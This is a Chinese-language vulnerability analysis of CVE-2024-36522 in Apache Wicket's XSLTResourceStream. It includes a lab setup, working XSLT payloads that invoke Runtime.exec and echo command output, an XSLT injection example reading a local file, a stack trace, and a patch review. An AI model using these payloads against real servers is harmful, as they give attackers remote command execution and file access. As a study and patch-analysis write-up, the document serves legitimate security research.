基础信息
漏洞简介
Apache Wicket是一个功能强大、灵活易用且开源的Java Web应用程序框架,具有面向组件的开发模型、类型安全性、强大的状态管理机制和丰富的组件库等特点。2024 年 6 月,官方发布 9.18.0 与 10.1.0 版本,修复 CVE-2024-36522 Apache Wicket XSLT 代码执行漏洞。攻击者可构造恶意请求执行任意代码,控制服务器。
漏洞影响范围
Apache Wicket 10.0.0-M1 - 10.0.0
Apache Wicket 9.0.0 - 9.17.0
Apache Wicket 8.0.0 - 8.15.0
环境搭建
我们使用maven搭建项目,pom.xml文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>wicket_CVE</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- WICKET DEPENDENCIES -->
<dependency>
<groupId>org.apache.wicket</groupId>
<artifactId>wicket-core</artifactId>
<version>9.16.0</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
</project>
Main.java文件如下:
package org.example;
import org.apache.wicket.util.io.IOUtils;
import org.apache.wicket.util.resource.FileResourceStream;
import org.apache.wicket.util.resource.IResourceStream;
import org.apache.wicket.util.resource.ResourceStreamNotFoundException;
import org.apache.wicket.util.resource.XSLTResourceStream;
import java.io.File;
import java.io.IOException;
public class Main {
public static void main(String[] args) {
IResourceStream resourceStream=new FileResourceStream(new File("src/main/resources/poc.xml"));
IResourceStream xmlresourceStream=new FileResourceStream(new File("src/main/resources/poc.xml"));
XSLTResourceStream stream = new XSLTResourceStream(resourceStream,xmlresourceStream);
try {
System.out.println(IOUtils.toString(stream.getInputStream()));
} catch (ResourceStreamNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
漏洞复现
命令执行
poc.xsl文件的内容如下:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
// 执行任意命令
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ipconfig')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
命令执行回显
XSLT中针对于JAVA对象和方法的调用有限,只能通过**_prefix_ **:new (** _args_ **)
方法实例化一个JAVA对象,调用方法的时候需要使用**_prefix_ **:** _methodName_ **(** _object_ **, **_args_ **)
方式调用一个方法。
我们知道InputStream转成String在JAVA中有很多方式都要通过循环的方式读取一段字符,但是XSLT不支持这种方式,仅支持对象和方法调用。可以使用下面两种方式:
1、IOUtils.toString (Apache Utils)String result = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
在org.apache.commons.io.IOUtils中有这个类型,刚好在wicket也对该类做了复制在org.apache.wicket.util.io目录下。
2. 使用CharStreams (guava)String result = CharStreams.toString(new InputStreamReader(inputStream, Charsets.UTF_8));
所以我们这里刚好使用IOUtils类做String的转换,JAVA执行命令并且将结果打印出来的JAVA代码如下:
Process process = Runtime.getRuntime().exec("ipconfig");// 获取命令输出
InputStream inputStream = process.getInputStream(); //获取输入流
String result3 = IOUtils.toString(inputStream);//转换成String
System.out.println(result3);
将上面的JAVA代码转换成XSLT格式文件如下:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:rp="http://xml.apache.org/xalan/java/java.lang.Process"
xmlns:jv="http://xml.apache.org/xalan/java/"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:sc="http://xml.apache.org/xalan/java/java.util.Scanner"
xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStream"
xmlns:io="http://xml.apache.org/xalan/org/org.apache.wicket.util.io.IOUtils"
>
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ipconfig')"/>
<xsl:variable name="isstream" select="rp:getInputStream($process)"/>
<xsl:variable name="sc_string" select="io:toString($isstream,'GBK')"/>
<xsl:value-of select="$sc_string"/>
</xsl:template>
</xsl:stylesheet>
测试之后可以正常回显命令执行的结果。
XSLT注入
XSLT简介
XSLT (Extensible Stylesheet Language Transformations) 是一种可扩展样式表语言,用于XML的转换例如将XML转换成XML、HTML、PDF等。
XSLT转换示例
原始XML文件
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>Empire Burlesque</title>
<artist>Bob Dylan</artist>
<country>USA</country>
<company>Columbia</company>
<price>10.90</price>
<year>1985</year>
</cd>
.
.
</catalog>
XSL样式表
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th style="text-align:left">Title</th>
<th style="text-align:left">Artist</th>
</tr>
<xsl:for-each select="catalog/cd">
<tr>
<td><xsl:value-of select="title"/></td>
<td><xsl:value-of select="artist"/></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
使用XSLT转换之后的结果使用浏览器打开,发现页面已经非常美观的HTML样式了。
XSLT注入示例
XSLT注入是一种Web应用程序安全漏洞,类似于SQL注入。这种攻击利用应用程序中对用户输入缺乏适当的验证和转义,将恶意XSLT代码注入到应用程序中,导致执行未授权的代码或访问敏感数据。这里恶意XSLT代码可以是接受用户输入的XSLT文件和XSLT文件中的部分内容,如果没有验证和过滤就有可能产生漏洞。网上XSLT相关的文章的都是第一种情况XSLT文件注入,对于XSLT文件中的内容拼接注入的文章很少,我们对XSLT文件拼接注入的做简单示例。
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:wicket="http://wicket.apache.org/dtds.data/wicket-xhtml1.4-strict.dtd"
exclude-result-prefixes="wicket">
<xsl:output method="text" encoding="UTF-8" />
<xsl:template match="/">
A message should be below.
<xsl:vaule-of select="document('C:/boot.ini')"/> //XLST模板文件内容用户可以输入
<xsl:apply-templates />
<xsl:value-of select="message" />
</xsl:template>
</xsl:stylesheet>
漏洞分析
漏洞描述来看这个漏洞是XSLTResourceStream.java文件中产生,XSLTResourceStream.java文件中只有XSLTResourceStream的构造函数涉及到了XSLT的转换。XSLT的转换代码也是直接转换的,在这一块直接进行转换的。
我们在XSLTResourceStream的45行直接下个断点看一下函数调用情况,调用链见下图:
exec:315, Runtime (java.lang)
template$dot$0:-1, GregorSamsa (die.verwandlung)
applyTemplates:-1, GregorSamsa (die.verwandlung)
transform:-1, GregorSamsa (die.verwandlung)
transform:627, AbstractTranslet (com.sun.org.apache.xalan.internal.xsltc.runtime)
transform:782, TransformerImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
transform:395, TransformerImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:92, XSLTResourceStream (org.apache.wicket.util.resource)
main:17, Main (org.example)
漏洞补丁分析
将wicket的升级包升级到9.18.0,在修复的版本中XSLTResourceStream.java的构造函数中新增了defaultTransformerFactory方法,可以看到在defaultTransformerFactory方法中使用factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
方式设置了安全解析XML文件,默认是flase.
我们这里的报错信息是当安全处理功能设置为“真”时, 不允许使用扩展函数,这里的java.lang.Runtime是禁用函数,新的版本不能调用Runtime执行系统命令。
总结
本篇文章中我们了解到XLST注入的攻击姿势和攻击payload,在文档中我们还学习了使用JAVA构造xlst的回显payload。在Wicket的XSLTResourceStream.java文件中对于XLS的转换没有做任何的过滤,导致漏洞的发生,新的版本中做了修复。很多依赖组件的漏洞也是通过这种方式产生的,对于安全方式的加载都是容易忽略的,最后总结一句安全始于笔下,终于笔下。
参考文章
Extending XSLT with Java (cafeconleche.org)
ASF:Xalan-Java 扩展 (apache.org)
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)